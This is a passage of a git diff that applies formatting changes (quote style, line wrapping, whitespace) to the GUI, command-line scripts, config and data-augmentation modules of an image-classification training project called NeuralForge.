torch.load(model_path, map_location=self.device, weights_only=False) - self.model.load_state_dict(checkpoint['model_state_dict']) + + checkpoint = torch.load( + model_path, map_location=self.device, weights_only=False + ) + self.model.load_state_dict(checkpoint["model_state_dict"]) self.model.eval() - + try: - dataset = get_dataset(self.dataset_name, train=False, download=False) - self.classes = getattr(dataset, 'classes', [str(i) for i in range(num_classes)]) + dataset = get_dataset( + self.dataset_name, train=False, download=False + ) + self.classes = getattr( + dataset, "classes", [str(i) for i in range(num_classes)] + ) except: from neuralforge.data.datasets import get_class_names + self.classes = get_class_names(self.dataset_name) - - self.model_status.setText(f'✓ Model loaded successfully') - self.model_status.setStyleSheet('color: #4CAF50;') - + + self.model_status.setText(f"✓ Model loaded successfully") + self.model_status.setStyleSheet("color: #4CAF50;") + self.predict_btn.setEnabled(True) - + total_params = sum(p.numel() for p in self.model.parameters()) - epoch = checkpoint.get('epoch', 'Unknown') - val_loss = checkpoint.get('best_val_loss', 'Unknown') - - val_loss_str = f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss) - + epoch = checkpoint.get("epoch", "Unknown") + val_loss = checkpoint.get("best_val_loss", "Unknown") + + val_loss_str = ( + f"{val_loss:.4f}" if isinstance(val_loss, float) else str(val_loss) + ) + info_text = f""" Model: ResNet18 Dataset: {self.dataset_name.upper()} @@ -428,62 +484,69 @@ def load_model(self): Device: {self.device.upper()} """ self.model_info.setText(info_text.strip()) - + except Exception as e: - self.model_status.setText(f'Error: {str(e)}') - self.model_status.setStyleSheet('color: #f44336;') - + self.model_status.setText(f"Error: {str(e)}") + self.model_status.setStyleSheet("color: #f44336;") + def predict_image(self): image_path = self.image_path_input.text() - + if not image_path or not os.path.exists(image_path): - self.main_prediction.setText('Please select a valid image') - self.main_prediction.setStyleSheet('color: #f44336;') + self.main_prediction.setText("Please select a valid image") + self.main_prediction.setStyleSheet("color: #f44336;") return - + if self.model is None: - self.main_prediction.setText('Please load a model first') - self.main_prediction.setStyleSheet('color: #f44336;') + self.main_prediction.setText("Please load a model first") + self.main_prediction.setStyleSheet("color: #f44336;") return - + self.predict_btn.setEnabled(False) self.progress_bar.setVisible(True) self.progress_bar.setRange(0, 0) - - self.prediction_thread = PredictionThread(self.model, image_path, self.classes, self.device) + + self.prediction_thread = PredictionThread( + self.model, image_path, self.classes, self.device + ) self.prediction_thread.finished.connect(self.display_results) self.prediction_thread.error.connect(self.display_error) self.prediction_thread.start() - + def display_results(self, predictions, confidences, main_prediction): self.progress_bar.setVisible(False) self.predict_btn.setEnabled(True) - - self.main_prediction.setText(f'🎯 {main_prediction}') - self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px; font-size: 28px;') - - self.confidence_label.setText(f'Confidence: {confidences[0]:.2f}%') - - top5_text = '

Top-5 Predictions:


' + + self.main_prediction.setText(f"🎯 {main_prediction}") + self.main_prediction.setStyleSheet( + "color: #4CAF50; padding: 20px; font-size: 28px;" + ) + + self.confidence_label.setText(f"Confidence: {confidences[0]:.2f}%") + + top5_text = "

Top-5 Predictions:


" for i, (pred, conf) in enumerate(zip(predictions, confidences), 1): bar_width = int(conf * 3) - bar = '█' * bar_width + bar = "█" * bar_width top5_text += f'

{i}. {pred}
' - top5_text += f'{bar} {conf:.2f}%

' - + top5_text += ( + f'{bar} {conf:.2f}%

' + ) + self.top5_display.setHtml(top5_text) - + def display_error(self, error_msg): self.progress_bar.setVisible(False) self.predict_btn.setEnabled(True) - - self.main_prediction.setText(f'Error: {error_msg}') - self.main_prediction.setStyleSheet('color: #f44336;') - + + self.main_prediction.setText(f"Error: {error_msg}") + self.main_prediction.setStyleSheet("color: #f44336;") + app = QApplication(sys.argv) window = NeuralForgeGUI() window.show() sys.exit(app.exec()) -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/src/python/neuralforge/cli/nas.py b/ML/src/python/neuralforge/cli/nas.py index f380e130626..0257558783c 100644 --- a/ML/src/python/neuralforge/cli/nas.py +++ b/ML/src/python/neuralforge/cli/nas.py @@ -7,64 +7,71 @@ from neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from neuralforge.config import Config + def main(): parser = argparse.ArgumentParser( - description='NeuralForge - Neural Architecture Search', + description="NeuralForge - Neural Architecture Search", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: neuralforge-nas --population 20 --generations 50 neuralforge-nas --dataset cifar10 --population 15 --generations 30 - """ + """, + ) + + parser.add_argument( + "--dataset", type=str, default="synthetic", help="Dataset for evaluation" + ) + parser.add_argument("--population", type=int, default=15, help="Population size") + parser.add_argument( + "--generations", type=int, default=20, help="Number of generations" + ) + parser.add_argument( + "--mutation-rate", type=float, default=0.15, help="Mutation rate" ) - - parser.add_argument('--dataset', type=str, default='synthetic', help='Dataset for evaluation') - parser.add_argument('--population', type=int, default=15, help='Population size') - parser.add_argument('--generations', type=int, default=20, help='Number of generations') - parser.add_argument('--mutation-rate', type=float, default=0.15, help='Mutation rate') - parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu') - + parser.add_argument( + "--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu" + ) + args = parser.parse_args() - + config = Config() config.device = args.device config.nas_enabled = True config.nas_population_size = args.population config.nas_generations = args.generations config.nas_mutation_rate = args.mutation_rate - - search_config = { - 'num_layers': 15, - 'num_blocks': 4 - } - + + search_config = {"num_layers": 15, "num_blocks": 4} + search_space = SearchSpace(search_config) - + train_dataset = SyntheticDataset(num_samples=1000, num_classes=10) val_dataset = SyntheticDataset(num_samples=200, num_classes=10) - + loader_builder = DataLoaderBuilder(config) train_loader = loader_builder.build_train_loader(train_dataset) val_loader = loader_builder.build_val_loader(val_dataset) - + evaluator = ProxyEvaluator(device=config.device) - + evolution = EvolutionarySearch( search_space=search_space, evaluator=evaluator, population_size=config.nas_population_size, generations=config.nas_generations, - mutation_rate=config.nas_mutation_rate + mutation_rate=config.nas_mutation_rate, ) - + print("Starting Neural Architecture Search...") best_architecture = evolution.search() - + print(f"\nBest Architecture Found:") print(f"Fitness: {best_architecture.fitness:.4f}") print(f"Accuracy: {best_architecture.accuracy:.2f}%") print(f"Parameters: {best_architecture.params:,}") print(f"FLOPs: {best_architecture.flops:,}") -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/src/python/neuralforge/cli/test.py b/ML/src/python/neuralforge/cli/test.py index 64acf1b6faf..2d276adfe21 100644 --- a/ML/src/python/neuralforge/cli/test.py +++ b/ML/src/python/neuralforge/cli/test.py @@ -13,111 +13,138 @@ from neuralforge.data.datasets import get_dataset, get_num_classes from neuralforge.models.resnet import ResNet18 + def main(): parser = argparse.ArgumentParser( - description='NeuralForge - Test trained models', + description="NeuralForge - Test trained models", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: neuralforge-test --model models/best_model.pt --dataset cifar10 --mode random neuralforge-test --dataset mnist --mode accuracy neuralforge-test --dataset stl10 --image cat.jpg - """ + """, + ) + + default_model = "./models/best_model.pt" + parser.add_argument( + "--model", type=str, default=default_model, help="Path to model checkpoint" + ) + parser.add_argument("--dataset", type=str, default="cifar10", help="Dataset name") + parser.add_argument( + "--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu" ) - - default_model = './models/best_model.pt' - parser.add_argument('--model', type=str, default=default_model, help='Path to model checkpoint') - parser.add_argument('--dataset', type=str, default='cifar10', help='Dataset name') - parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu') - parser.add_argument('--mode', type=str, default='random', choices=['random', 'accuracy', 'interactive']) - parser.add_argument('--samples', type=int, default=10, help='Number of samples for random mode') - parser.add_argument('--image', type=str, default=None, help='Path to image file') - + parser.add_argument( + "--mode", + type=str, + default="random", + choices=["random", "accuracy", "interactive"], + ) + parser.add_argument( + "--samples", type=int, default=10, help="Number of samples for random mode" + ) + parser.add_argument("--image", type=str, default=None, help="Path to image file") + args = parser.parse_args() - + print("=" * 60) print(" NeuralForge - Model Testing") print("=" * 60) print(f"Device: {args.device}") - + dataset_aliases = { - 'cifar-10': 'cifar10', 'stl-10': 'stl10', 'fashion-mnist': 'fashion_mnist', - 'tiny-imagenet': 'tiny_imagenet', 'food-101': 'food101', + "cifar-10": "cifar10", + "stl-10": "stl10", + "fashion-mnist": "fashion_mnist", + "tiny-imagenet": "tiny_imagenet", + "food-101": "food101", } dataset_name = dataset_aliases.get(args.dataset.lower(), args.dataset.lower()) - + num_classes = get_num_classes(dataset_name) model = ResNet18(num_classes=num_classes) model = model.to(args.device) - + if os.path.exists(args.model): print(f"Loading model from: {args.model}") - checkpoint = torch.load(args.model, map_location=args.device, weights_only=False) - model.load_state_dict(checkpoint['model_state_dict']) + checkpoint = torch.load( + args.model, map_location=args.device, weights_only=False + ) + model.load_state_dict(checkpoint["model_state_dict"]) print(f"Model loaded from epoch {checkpoint.get('epoch', 'Unknown')}") else: print(f"Warning: No model found at {args.model}") return - + model.eval() - - test_dataset = get_dataset(dataset_name, root='./data', train=False, download=True) - classes = getattr(test_dataset, 'classes', [str(i) for i in range(num_classes)]) - + + test_dataset = get_dataset(dataset_name, root="./data", train=False, download=True) + classes = getattr(test_dataset, "classes", [str(i) for i in range(num_classes)]) + print(f"Dataset: {dataset_name} ({len(test_dataset.dataset)} test samples)") print("=" * 60) - + if args.image: - image = Image.open(args.image).convert('RGB') - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) + image = Image.open(args.image).convert("RGB") + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) image_tensor = transform(image).unsqueeze(0).to(args.device) - + with torch.no_grad(): outputs = model(image_tensor) probabilities = F.softmax(outputs, dim=1) top5_prob, top5_idx = torch.topk(probabilities, min(5, num_classes), dim=1) - + print(f"\nPrediction for {args.image}:") - print(f"Main: {classes[top5_idx[0][0].item()]} ({top5_prob[0][0].item()*100:.2f}%)") + print( + f"Main: {classes[top5_idx[0][0].item()]} ({top5_prob[0][0].item() * 100:.2f}%)" + ) print("\nTop-5:") for i, (idx, prob) in enumerate(zip(top5_idx[0], top5_prob[0]), 1): - print(f" {i}. {classes[idx.item()]:15s} {prob.item()*100:.2f}%") - - elif args.mode == 'random': + print(f" {i}. {classes[idx.item()]:15s} {prob.item() * 100:.2f}%") + + elif args.mode == "random": print(f"\nTesting {args.samples} random samples...") print("-" * 60) - + correct = 0 - indices = np.random.choice(len(test_dataset.dataset), args.samples, replace=False) - + indices = np.random.choice( + len(test_dataset.dataset), args.samples, replace=False + ) + for i, idx in enumerate(indices, 1): image, label = test_dataset.dataset[idx] - + with torch.no_grad(): image = image.unsqueeze(0).to(args.device) outputs = model(image) pred_class = outputs.argmax(1).item() confidence = F.softmax(outputs, dim=1)[0][pred_class].item() * 100 - + is_correct = pred_class == label correct += is_correct status = "✓" if is_correct else "✗" - - print(f"{i:2d}. {status} True: {classes[label]:15s} | Pred: {classes[pred_class]:15s} | Conf: {confidence:.1f}%") - + + print( + f"{i:2d}. {status} True: {classes[label]:15s} | Pred: {classes[pred_class]:15s} | Conf: {confidence:.1f}%" + ) + print("-" * 60) - print(f"Accuracy: {correct/args.samples:.1%} ({correct}/{args.samples})") - - elif args.mode == 'accuracy': + print(f"Accuracy: {correct / args.samples:.1%} ({correct}/{args.samples})") + + elif args.mode == "accuracy": print("\nCalculating full test accuracy...") correct = 0 total = 0 - + with torch.no_grad(): for image, label in test_dataset.dataset: image = image.unsqueeze(0).to(args.device) @@ -126,11 +153,12 @@ def main(): total += 1 if pred_class == label: correct += 1 - + if total % 100 == 0: - print(f"Processed {total}/{len(test_dataset.dataset)}...", end='\r') - + print(f"Processed {total}/{len(test_dataset.dataset)}...", end="\r") + print(f"\nOverall Accuracy: {100.0 * correct / total:.2f}% ({correct}/{total})") -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/src/python/neuralforge/cli/train.py b/ML/src/python/neuralforge/cli/train.py index 768644f4f06..4c4a2c733b6 100644 --- a/ML/src/python/neuralforge/cli/train.py +++ b/ML/src/python/neuralforge/cli/train.py @@ -14,6 +14,7 @@ from neuralforge.optim.schedulers import CosineAnnealingWarmRestarts, OneCycleLR from neuralforge.utils.logger import Logger + def set_seed(seed): random.seed(seed) np.random.seed(seed) @@ -22,30 +23,29 @@ def set_seed(seed): torch.backends.cudnn.deterministic = True torch.backends.cudnn.benchmark = False + def create_simple_model(num_classes=10): return nn.Sequential( nn.Conv2d(3, 32, 3, padding=1), nn.BatchNorm2d(32), nn.ReLU(inplace=True), nn.MaxPool2d(2), - nn.Conv2d(32, 64, 3, padding=1), nn.BatchNorm2d(64), nn.ReLU(inplace=True), nn.MaxPool2d(2), - nn.Conv2d(64, 128, 3, padding=1), nn.BatchNorm2d(128), nn.ReLU(inplace=True), nn.AdaptiveAvgPool2d(1), - nn.Flatten(), - nn.Linear(128, num_classes) + nn.Linear(128, num_classes), ) + def main(): parser = argparse.ArgumentParser( - description='NeuralForge - Train neural networks with CUDA acceleration', + description="NeuralForge - Train neural networks with CUDA acceleration", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: @@ -53,32 +53,56 @@ def main(): neuralforge --dataset mnist --model simple --batch-size 64 neuralforge --dataset stl10 --model resnet18 --epochs 100 --lr 0.001 neuralforge --dataset tiny_imagenet --batch-size 128 --epochs 200 - """ + """, + ) + + parser.add_argument("--config", type=str, default=None, help="Path to config file") + parser.add_argument( + "--model", + type=str, + default="simple", + choices=["simple", "resnet18", "efficientnet", "vit"], + help="Model architecture", + ) + parser.add_argument( + "--dataset", + type=str, + default="synthetic", + help="Dataset (cifar10, mnist, stl10, tiny_imagenet, etc.)", + ) + parser.add_argument("--batch-size", type=int, default=32, help="Batch size") + parser.add_argument("--epochs", type=int, default=50, help="Number of epochs") + parser.add_argument("--lr", type=float, default=0.001, help="Learning rate") + parser.add_argument( + "--device", + type=str, + default="cuda" if torch.cuda.is_available() else "cpu", + help="Device (cuda/cpu)", + ) + parser.add_argument( + "--num-samples", type=int, default=5000, help="Number of synthetic samples" + ) + parser.add_argument( + "--num-classes", type=int, default=10, help="Number of classes (for synthetic)" + ) + parser.add_argument("--seed", type=int, default=42, help="Random seed") + parser.add_argument( + "--optimizer", + type=str, + default="adamw", + choices=["adamw", "adam", "sgd"], + help="Optimizer", + ) + parser.add_argument( + "--scheduler", + type=str, + default="cosine", + choices=["cosine", "onecycle", "none"], + help="Learning rate scheduler", ) - - parser.add_argument('--config', type=str, default=None, help='Path to config file') - parser.add_argument('--model', type=str, default='simple', - choices=['simple', 'resnet18', 'efficientnet', 'vit'], - help='Model architecture') - parser.add_argument('--dataset', type=str, default='synthetic', - help='Dataset (cifar10, mnist, stl10, tiny_imagenet, etc.)') - parser.add_argument('--batch-size', type=int, default=32, help='Batch size') - parser.add_argument('--epochs', type=int, default=50, help='Number of epochs') - parser.add_argument('--lr', type=float, default=0.001, help='Learning rate') - parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu', - help='Device (cuda/cpu)') - parser.add_argument('--num-samples', type=int, default=5000, help='Number of synthetic samples') - parser.add_argument('--num-classes', type=int, default=10, help='Number of classes (for synthetic)') - parser.add_argument('--seed', type=int, default=42, help='Random seed') - parser.add_argument('--optimizer', type=str, default='adamw', - choices=['adamw', 'adam', 'sgd'], - help='Optimizer') - parser.add_argument('--scheduler', type=str, default='cosine', - choices=['cosine', 'onecycle', 'none'], - help='Learning rate scheduler') - + args = parser.parse_args() - + if args.config: config = Config.load(args.config) else: @@ -91,102 +115,134 @@ def main(): config.seed = args.seed config.optimizer = args.optimizer config.scheduler = args.scheduler - + # Set paths relative to current working directory (not package directory) import os + cwd = os.getcwd() config.model_dir = os.path.join(cwd, "models") config.log_dir = os.path.join(cwd, "logs") config.data_path = os.path.join(cwd, "data") - + set_seed(config.seed) - + logger = Logger(config.log_dir, "training") logger.info("=" * 80) logger.info("NeuralForge Training Framework") logger.info("=" * 80) logger.info(f"Configuration:\n{config}") - + dataset_aliases = { - 'cifar-10': 'cifar10', 'cifar_10': 'cifar10', - 'cifar-100': 'cifar100', 'cifar_100': 'cifar100', - 'fashion-mnist': 'fashion_mnist', 'fashionmnist': 'fashion_mnist', - 'stl-10': 'stl10', 'stl_10': 'stl10', - 'tiny-imagenet': 'tiny_imagenet', 'tinyimagenet': 'tiny_imagenet', - 'food-101': 'food101', 'food_101': 'food101', - 'caltech-256': 'caltech256', 'caltech_256': 'caltech256', - 'oxford-pets': 'oxford_pets', 'oxfordpets': 'oxford_pets', + "cifar-10": "cifar10", + "cifar_10": "cifar10", + "cifar-100": "cifar100", + "cifar_100": "cifar100", + "fashion-mnist": "fashion_mnist", + "fashionmnist": "fashion_mnist", + "stl-10": "stl10", + "stl_10": "stl10", + "tiny-imagenet": "tiny_imagenet", + "tinyimagenet": "tiny_imagenet", + "food-101": "food101", + "food_101": "food101", + "caltech-256": "caltech256", + "caltech_256": "caltech256", + "oxford-pets": "oxford_pets", + "oxfordpets": "oxford_pets", } - + dataset_name = dataset_aliases.get(args.dataset.lower(), args.dataset.lower()) - - if dataset_name == 'synthetic': + + if dataset_name == "synthetic": logger.info("Creating synthetic dataset...") train_dataset = SyntheticDataset( num_samples=args.num_samples, num_classes=config.num_classes, image_size=config.image_size, - channels=3 + channels=3, ) val_dataset = SyntheticDataset( num_samples=args.num_samples // 5, num_classes=config.num_classes, image_size=config.image_size, - channels=3 + channels=3, ) else: logger.info(f"Downloading and loading {dataset_name} dataset...") config.num_classes = get_num_classes(dataset_name) - - train_dataset = get_dataset(dataset_name, root=config.data_path, train=True, download=True) - val_dataset = get_dataset(dataset_name, root=config.data_path, train=False, download=True) - - if dataset_name in ['mnist', 'fashion_mnist']: + + train_dataset = get_dataset( + dataset_name, root=config.data_path, train=True, download=True + ) + val_dataset = get_dataset( + dataset_name, root=config.data_path, train=False, download=True + ) + + if dataset_name in ["mnist", "fashion_mnist"]: config.image_size = 28 - elif dataset_name in ['cifar10', 'cifar100']: + elif dataset_name in ["cifar10", "cifar100"]: config.image_size = 32 - elif dataset_name == 'tiny_imagenet': + elif dataset_name == "tiny_imagenet": config.image_size = 64 - elif dataset_name == 'stl10': + elif dataset_name == "stl10": config.image_size = 96 - elif dataset_name in ['imagenet', 'food101', 'caltech256', 'oxford_pets']: + elif dataset_name in ["imagenet", "food101", "caltech256", "oxford_pets"]: config.image_size = 224 - + loader_builder = DataLoaderBuilder(config) train_loader = loader_builder.build_train_loader(train_dataset) val_loader = loader_builder.build_val_loader(val_dataset) - + logger.info(f"Train dataset size: {len(train_dataset)}") logger.info(f"Validation dataset size: {len(val_dataset)}") - + logger.info(f"Creating model: {args.model}") - if args.model == 'simple': + if args.model == "simple": model = create_simple_model(config.num_classes) - elif args.model == 'resnet18': + elif args.model == "resnet18": model = ResNet18(num_classes=config.num_classes) else: model = create_simple_model(config.num_classes) - + logger.log_model_summary(model) - + criterion = nn.CrossEntropyLoss() - - if config.optimizer.lower() == 'adamw': - optimizer = AdamW(model.parameters(), lr=config.learning_rate, weight_decay=config.weight_decay) - elif config.optimizer.lower() == 'adam': - optimizer = torch.optim.Adam(model.parameters(), lr=config.learning_rate, weight_decay=config.weight_decay) + + if config.optimizer.lower() == "adamw": + optimizer = AdamW( + model.parameters(), + lr=config.learning_rate, + weight_decay=config.weight_decay, + ) + elif config.optimizer.lower() == "adam": + optimizer = torch.optim.Adam( + model.parameters(), + lr=config.learning_rate, + weight_decay=config.weight_decay, + ) else: - optimizer = torch.optim.SGD(model.parameters(), lr=config.learning_rate, momentum=0.9, weight_decay=config.weight_decay) - + optimizer = torch.optim.SGD( + model.parameters(), + lr=config.learning_rate, + momentum=0.9, + weight_decay=config.weight_decay, + ) + scheduler = None - if config.scheduler == 'cosine': - scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2, eta_min=1e-6) - elif config.scheduler == 'onecycle': - scheduler = OneCycleLR(optimizer, max_lr=config.learning_rate, total_steps=config.epochs * len(train_loader)) - + if config.scheduler == "cosine": + scheduler = CosineAnnealingWarmRestarts( + optimizer, T_0=10, T_mult=2, eta_min=1e-6 + ) + elif config.scheduler == "onecycle": + scheduler = OneCycleLR( + optimizer, + max_lr=config.learning_rate, + total_steps=config.epochs * len(train_loader), + ) + logger.info(f"Optimizer: {config.optimizer}") logger.info(f"Scheduler: {config.scheduler}") - + trainer = Trainer( model=model, train_loader=train_loader, @@ -195,14 +251,15 @@ def main(): criterion=criterion, config=config, scheduler=scheduler, - device=config.device + device=config.device, ) - + logger.info("Starting training...") trainer.train() - + logger.info("Training completed successfully!") logger.info(f"Best validation loss: {trainer.best_val_loss:.4f}") -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/src/python/neuralforge/config.py b/ML/src/python/neuralforge/config.py index 8c8756bfe21..963915eae74 100644 --- a/ML/src/python/neuralforge/config.py +++ b/ML/src/python/neuralforge/config.py @@ -3,6 +3,7 @@ from typing import Any, Dict, Optional from dataclasses import dataclass, asdict + @dataclass class Config: model_name: str = "neuralforge_model" @@ -14,42 +15,42 @@ class Config: scheduler: str = "cosine" warmup_epochs: int = 5 grad_clip: float = 1.0 - + data_path: str = "./data" num_workers: int = 4 pin_memory: bool = True - + model_dir: str = "./models" log_dir: str = "./logs" checkpoint_freq: int = 10 - + use_amp: bool = True device: str = "cuda" seed: int = 42 - + nas_enabled: bool = False nas_population_size: int = 20 nas_generations: int = 50 nas_mutation_rate: float = 0.1 - + image_size: int = 224 num_classes: int = 1000 - + def save(self, path: str): os.makedirs(os.path.dirname(path), exist_ok=True) - with open(path, 'w') as f: + with open(path, "w") as f: json.dump(asdict(self), f, indent=2) - + @classmethod - def load(cls, path: str) -> 'Config': - with open(path, 'r') as f: + def load(cls, path: str) -> "Config": + with open(path, "r") as f: data = json.load(f) return cls(**data) - + def update(self, **kwargs): for key, value in kwargs.items(): if hasattr(self, key): setattr(self, key, value) - + def __str__(self) -> str: - return json.dumps(asdict(self), indent=2) \ No newline at end of file + return json.dumps(asdict(self), indent=2) diff --git a/ML/src/python/neuralforge/data/__init__.py b/ML/src/python/neuralforge/data/__init__.py index 8cc8b5d9ced..8e26c85ff31 100644 --- a/ML/src/python/neuralforge/data/__init__.py +++ b/ML/src/python/neuralforge/data/__init__.py @@ -4,12 +4,12 @@ from .augmentation import * __all__ = [ - 'ImageDataset', - 'DataLoaderBuilder', - 'get_dataset', - 'get_num_classes', - 'get_transforms', - 'RandAugment', - 'CutMix', - 'MixUp', + "ImageDataset", + "DataLoaderBuilder", + "get_dataset", + "get_num_classes", + "get_transforms", + "RandAugment", + "CutMix", + "MixUp", ] diff --git a/ML/src/python/neuralforge/data/augmentation.py b/ML/src/python/neuralforge/data/augmentation.py index ed8cf5cd9a9..1438d312f11 100644 --- a/ML/src/python/neuralforge/data/augmentation.py +++ b/ML/src/python/neuralforge/data/augmentation.py @@ -4,6 +4,7 @@ from PIL import Image, ImageEnhance, ImageOps from typing import List, Tuple + class RandAugment: def __init__(self, n: int = 2, m: int = 9): self.n = n @@ -24,145 +25,150 @@ def __init__(self, n: int = 2, m: int = 9): (self.translate_x, 0, 0.3), (self.translate_y, 0, 0.3), ] - + def __call__(self, img): ops = random.choices(self.augment_list, k=self.n) for op, minval, maxval in ops: val = (float(self.m) / 30) * float(maxval - minval) + minval img = op(img, val) return img - + @staticmethod def auto_contrast(img, _): return ImageOps.autocontrast(img) - + @staticmethod def equalize(img, _): return ImageOps.equalize(img) - + @staticmethod def invert(img, _): return ImageOps.invert(img) - + @staticmethod def rotate(img, magnitude): return img.rotate(magnitude) - + @staticmethod def posterize(img, magnitude): magnitude = int(magnitude) return ImageOps.posterize(img, magnitude) - + @staticmethod def solarize(img, magnitude): return ImageOps.solarize(img, int(magnitude)) - + @staticmethod def color(img, magnitude): return ImageEnhance.Color(img).enhance(magnitude) - + @staticmethod def contrast(img, magnitude): return ImageEnhance.Contrast(img).enhance(magnitude) - + @staticmethod def brightness(img, magnitude): return ImageEnhance.Brightness(img).enhance(magnitude) - + @staticmethod def sharpness(img, magnitude): return ImageEnhance.Sharpness(img).enhance(magnitude) - + @staticmethod def shear_x(img, magnitude): return img.transform(img.size, Image.AFFINE, (1, magnitude, 0, 0, 1, 0)) - + @staticmethod def shear_y(img, magnitude): return img.transform(img.size, Image.AFFINE, (1, 0, 0, magnitude, 1, 0)) - + @staticmethod def translate_x(img, magnitude): magnitude = magnitude * img.size[0] return img.transform(img.size, Image.AFFINE, (1, 0, magnitude, 0, 1, 0)) - + @staticmethod def translate_y(img, magnitude): magnitude = magnitude * img.size[1] return img.transform(img.size, Image.AFFINE, (1, 0, 0, 0, 1, magnitude)) + class MixUp: def __init__(self, alpha: float = 1.0, num_classes: int = 1000): self.alpha = alpha self.num_classes = num_classes - + def __call__(self, images, labels): batch_size = images.size(0) - + if self.alpha > 0: lam = np.random.beta(self.alpha, self.alpha) else: lam = 1 - + index = torch.randperm(batch_size).to(images.device) - + mixed_images = lam * images + (1 - lam) * images[index] labels_a = labels labels_b = labels[index] - + return mixed_images, labels_a, labels_b, lam + class CutMix: def __init__(self, alpha: float = 1.0, num_classes: int = 1000): self.alpha = alpha self.num_classes = num_classes - + def __call__(self, images, labels): batch_size = images.size(0) - + if self.alpha > 0: lam = np.random.beta(self.alpha, self.alpha) else: lam = 1 - + index = torch.randperm(batch_size).to(images.device) - + _, _, H, W = images.shape cut_rat = np.sqrt(1.0 - lam) cut_w = int(W * cut_rat) cut_h = int(H * cut_rat) - + cx = np.random.randint(W) cy = np.random.randint(H) - + bbx1 = np.clip(cx - cut_w // 2, 0, W) bby1 = np.clip(cy - cut_h // 2, 0, H) bbx2 = np.clip(cx + cut_w // 2, 0, W) bby2 = np.clip(cy + cut_h // 2, 0, H) - + images[:, :, bby1:bby2, bbx1:bbx2] = images[index, :, bby1:bby2, bbx1:bbx2] - + lam = 1 - ((bbx2 - bbx1) * (bby2 - bby1) / (W * H)) - + return images, labels, labels[index], lam + class GridMask: - def __init__(self, d1: int = 96, d2: int = 224, rotate: float = 1, ratio: float = 0.5): + def __init__( + self, d1: int = 96, d2: int = 224, rotate: float = 1, ratio: float = 0.5 + ): self.d1 = d1 self.d2 = d2 self.rotate = rotate self.ratio = ratio - + def __call__(self, img): h, w = img.shape[-2:] - + d = np.random.randint(self.d1, self.d2) l = int(d * self.ratio + 0.5) - + mask = np.ones((h, w), np.float32) st_h = np.random.randint(d) st_w = np.random.randint(d) - + for i in range(h // d + 1): s_h = d * i + st_h t_h = min(s_h + l, h) @@ -170,40 +176,47 @@ def __call__(self, img): s_w = d * j + st_w t_w = min(s_w + l, w) mask[s_h:t_h, s_w:t_w] = 0 - + mask = torch.from_numpy(mask).to(img.device) img = img * mask - + return img + class RandomErasing: - def __init__(self, probability: float = 0.5, sl: float = 0.02, sh: float = 0.4, r1: float = 0.3): + def __init__( + self, + probability: float = 0.5, + sl: float = 0.02, + sh: float = 0.4, + r1: float = 0.3, + ): self.probability = probability self.sl = sl self.sh = sh self.r1 = r1 - + def __call__(self, img): if random.uniform(0, 1) >= self.probability: return img - + for attempt in range(100): area = img.size()[1] * img.size()[2] - + target_area = random.uniform(self.sl, self.sh) * area aspect_ratio = random.uniform(self.r1, 1 / self.r1) - + h = int(round(np.sqrt(target_area * aspect_ratio))) w = int(round(np.sqrt(target_area / aspect_ratio))) - + if w < img.size()[2] and h < img.size()[1]: x1 = random.randint(0, img.size()[1] - h) y1 = random.randint(0, img.size()[2] - w) - - img[0, x1:x1 + h, y1:y1 + w] = random.uniform(0, 1) - img[1, x1:x1 + h, y1:y1 + w] = random.uniform(0, 1) - img[2, x1:x1 + h, y1:y1 + w] = random.uniform(0, 1) - + + img[0, x1 : x1 + h, y1 : y1 + w] = random.uniform(0, 1) + img[1, x1 : x1 + h, y1 : y1 + w] = random.uniform(0, 1) + img[2, x1 : x1 + h, y1 : y1 + w] = random.uniform(0, 1) + return img - + return img diff --git a/ML/src/python/neuralforge/data/dataset.py b/ML/src/python/neuralforge/data/dataset.py index 777ee501cda..c958a15936a 100644 --- a/ML/src/python/neuralforge/data/dataset.py +++ b/ML/src/python/neuralforge/data/dataset.py @@ -6,100 +6,109 @@ from typing import Optional, Callable, Tuple, List import numpy as np + class ImageDataset(Dataset): def __init__( self, root: str, transform: Optional[Callable] = None, target_transform: Optional[Callable] = None, - split: str = 'train' + split: str = "train", ): self.root = root self.transform = transform self.target_transform = target_transform self.split = split - + self.samples = [] self.class_to_idx = {} self._load_dataset() - + def _load_dataset(self): split_dir = os.path.join(self.root, self.split) - + if not os.path.exists(split_dir): raise FileNotFoundError(f"Dataset directory not found: {split_dir}") - - classes = sorted([d for d in os.listdir(split_dir) - if os.path.isdir(os.path.join(split_dir, d))]) - + + classes = sorted( + [ + d + for d in os.listdir(split_dir) + if os.path.isdir(os.path.join(split_dir, d)) + ] + ) + self.class_to_idx = {cls_name: idx for idx, cls_name in enumerate(classes)} - + for class_name in classes: class_dir = os.path.join(split_dir, class_name) class_idx = self.class_to_idx[class_name] - + for img_name in os.listdir(class_dir): - if img_name.lower().endswith(('.png', '.jpg', '.jpeg', '.bmp', '.gif')): + if img_name.lower().endswith((".png", ".jpg", ".jpeg", ".bmp", ".gif")): img_path = os.path.join(class_dir, img_name) self.samples.append((img_path, class_idx)) - + def __len__(self) -> int: return len(self.samples) - + def __getitem__(self, idx: int) -> Tuple[torch.Tensor, int]: img_path, label = self.samples[idx] - + try: - image = Image.open(img_path).convert('RGB') + image 